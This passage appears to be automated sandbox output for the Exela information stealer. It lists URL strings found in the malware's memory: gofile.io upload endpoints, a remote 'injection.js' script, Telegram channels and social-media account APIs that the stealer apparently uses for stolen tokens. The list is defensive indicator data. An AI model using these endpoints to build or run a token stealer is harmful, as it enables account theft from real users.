Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1661328748.000002DCCD0E5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662491897.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971643797.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969728459.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1972101982.000002DCCD0DA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986072702.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662654764.000002DCCD0C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997146489.000002DCCFBE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/mn2lNW
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/mn2lNW)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/mn2lNW)P
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gql.twitch.tv/gql
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gql.twitch.tv/gql:
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hynek.me/articles/import-attrs/)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1955400520.000002DCD1507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.hi
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/6t31tw2.jpg
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/6t31tw2.jpg0
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/6t31tw2.jpgp
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/8po0puy.jfif
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/8po0puy.jfifP
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/eai9bwi.jpg
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/qxnzimj.jpg
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=true
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1955400520.000002DCD1507000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/users/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/users/0
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1975909415.000002DCCF608000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989967017.000002DCCF60B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF608000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1983700654.000002DCCF609000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969997805.000002DCCF608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/me
Source: svchost.exe, 0000003B.00000003.1758408950.000001B777B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 0000003B.00000003.1758408950.000001B777AD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/user/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986993183.000002DCCEE10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/attrs/)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/cryptography/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforExela/injection/main/injection.js
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforExela/injection/main/injection.js0A
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/tagged/python-attrs)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store8.gofile.io/uploadFile
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1FFF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999238737.000002DCD0640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999238737.000002DCD0640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970639661.000002DCD1F60000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999238737.000002DCD0640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970639661.000002DCD1F60000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1955400520.000002DCD1507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/Exela
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ExelaStealer
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1955400520.000002DCD1507000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ExelaStealer----------------------
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ExelaStealerP5
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999597567.000002DCD0850000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi
Source: Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campa
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/home
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.json
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.jsonP
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997146489.000002DCCFBE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1653993804.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828426527.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1653924783.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654069044.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1653993804.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828354705.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828510059.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828426527.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
Source: Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or 